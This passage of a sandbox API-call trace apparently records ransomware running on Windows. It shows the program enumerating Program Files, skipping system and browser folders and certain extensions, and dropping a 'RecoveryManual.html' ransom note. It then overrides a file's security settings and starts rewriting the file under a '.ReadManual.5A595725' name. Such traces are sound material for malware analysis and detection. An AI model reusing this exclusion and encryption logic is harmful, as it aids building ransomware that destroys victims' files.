ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0250.060] lstrcpyW (in: lpString1=0x69b8c6, lpString2="Common Files" | out: lpString1="Common Files") returned="Common Files" [0250.060] lstrcatW (in: lpString1="Common Files", lpString2="\\" | out: lpString1="Common Files\\") returned="Common Files\\" [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\Windows\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\WINNT") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.060] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.061] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\") returned 34 [0250.061] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x688c28 [0250.061] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\") returned="\\\\?\\c:\\Program Files\\Common Files\\" [0250.061] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.061] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0250.061] lstrcpyW (in: lpString1=0x69b8e0, lpString2="DESIGNER" | out: lpString1="DESIGNER") returned="DESIGNER" [0250.061] lstrcatW (in: lpString1="DESIGNER", lpString2="\\" | out: lpString1="DESIGNER\\") returned="DESIGNER\\" [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\Windows\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\WINNT") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.061] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.062] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.062] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\") returned 43 [0250.062] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0250.062] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\") returned="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\" [0250.062] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.062] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0250.062] lstrcpyW (in: lpString1=0x6ab8f2, lpString2="MSADDNDR.DLL" | out: lpString1="MSADDNDR.DLL") returned="MSADDNDR.DLL" [0250.062] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="RecoveryManual.html") returned -1 [0250.062] StrStrIW (lpFirst="MSADDNDR.DLL", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.062] StrCmpIW (psz1="DLL", psz2="exe") returned -1 [0250.062] StrCmpIW (psz1="DLL", psz2="dll") returned 0 [0250.062] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\") returned="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\" [0250.062] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\RecoveryManual.html" [0250.062] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\DESIGNER\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\designer\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0250.064] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0250.065] CloseHandle (hObject=0x190) returned 1 [0250.065] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0250.065] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0250.065] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0250.065] lstrcpyW (in: lpString1=0x69b8e0, lpString2="Microsoft Shared" | out: lpString1="Microsoft Shared") returned="Microsoft Shared" [0250.065] lstrcatW (in: lpString1="Microsoft Shared", lpString2="\\" | out: lpString1="Microsoft Shared\\") returned="Microsoft Shared\\" [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\Windows\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\WINNT") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.065] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Microsoft Shared\\", lpSrch="\\microsoft shared\\") returned="\\Microsoft Shared\\" [0250.066] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0250.066] lstrcpyW (in: lpString1=0x69b8e0, lpString2="Services" | out: lpString1="Services") returned="Services" [0250.066] lstrcatW (in: lpString1="Services", lpString2="\\" | out: lpString1="Services\\") returned="Services\\" [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\Windows\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\WINNT") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.066] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.067] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.067] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.067] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.067] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.067] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.067] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\Services\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.067] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\Services\\") returned 43 [0250.067] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0250.068] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\Services\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\") returned="\\\\?\\c:\\Program Files\\Common Files\\Services\\" [0250.068] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.068] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0250.068] lstrcpyW (in: lpString1=0x6ab8f2, lpString2="verisign.bmp" | out: lpString1="verisign.bmp") returned="verisign.bmp" [0250.068] lstrcmpiW (lpString1="verisign.bmp", lpString2="RecoveryManual.html") returned 1 [0250.068] StrStrIW (lpFirst="verisign.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.068] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0250.068] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0250.068] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0250.068] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp" [0250.068] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp.ReadManual.5A595725" [0250.068] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp.ReadManual.5A595725") returned 75 [0250.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37073713590) returned 1 [0250.068] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0250.069] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.070] GetLastError () returned 0x5 [0250.070] GetNamedSecurityInfoW () returned 0x0 [0250.070] SetNamedSecurityInfoW () returned 0x0 [0250.071] SetNamedSecurityInfoW () returned 0x0 [0250.072] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0250.072] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=2702) returned 1 [0250.072] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8e, lpName=0x0) returned 0x194 [0250.072] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa6) returned 1 [0250.072] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.072] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, 